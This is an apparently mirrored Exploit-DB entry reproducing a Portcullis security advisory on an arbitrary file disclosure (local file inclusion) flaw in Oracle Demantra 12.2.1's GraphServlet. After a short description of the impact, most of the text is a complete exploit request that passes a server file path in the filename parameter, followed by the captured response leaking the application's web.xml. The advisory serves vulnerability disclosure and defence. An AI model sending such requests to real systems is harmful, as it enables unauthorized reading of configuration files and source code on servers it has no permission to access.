Oracle Demantra 12.2.1 – Arbitrary File Disclosure

  • 作者: Portcullis
    日期: 2014-03-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/31992/
  • Details:
    
    The Team discovered a Local File Include (LFI) vulnerability. A file inclusion vulnerability occurs when a file from the target system is injected into a page on the attacked server page.
    
    The vulnerable page is:
    * /demantra/GraphServlet
    Impact:
    
    Impact can differ based on the exploitation and the read permission of the web server user. Depending on these factors an attacker might carry out one or more of the following attacks:
    
    - Harvest useful information from the web.xml configuration file.
    
    - Download the whole web application source code like the vulnerable page itself.
    Exploit:
    
    Request:
    
    POST /demantra/GraphServlet HTTP/1.1
    Host: 192.168.14.171:8080
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 46
    
    filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml
    
    Response:
    
    HTTP/1.1 200 OK
    Server: Apache-Coyote/1.1
    Pragma: No-cache
    Cache-Control: no-cache
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    Content-Type: image/png
    Content-Length: 44378
    Date: Fri, 02 Aug 2013 20:20:58 GMT
    
    <?xml version="1.0" encoding="UTF-8"?>
     
     <web-app
    id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" 
    	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    	xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
    	http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">	
    
    
    
    
    	<!-- Important Notice -->
    	<!--
    		The order of elements in the web.xml is significant for some
    		Application Server parsers like WebSphere. The expected order is
    		examplified in the comments of this file. Each element section has a
    		Start comment(***) and an End comment. Please make sure to add new
    		elements in the appropriate section of the file delimited by the
    		relevant comment.
    	-->
    
    	<!-- ***Icons Start -->
    	<!-- ***Icons End -->
    -snip-‘ 
    
    Copyright:
    
    Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
    Disclaimer:
    
    The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.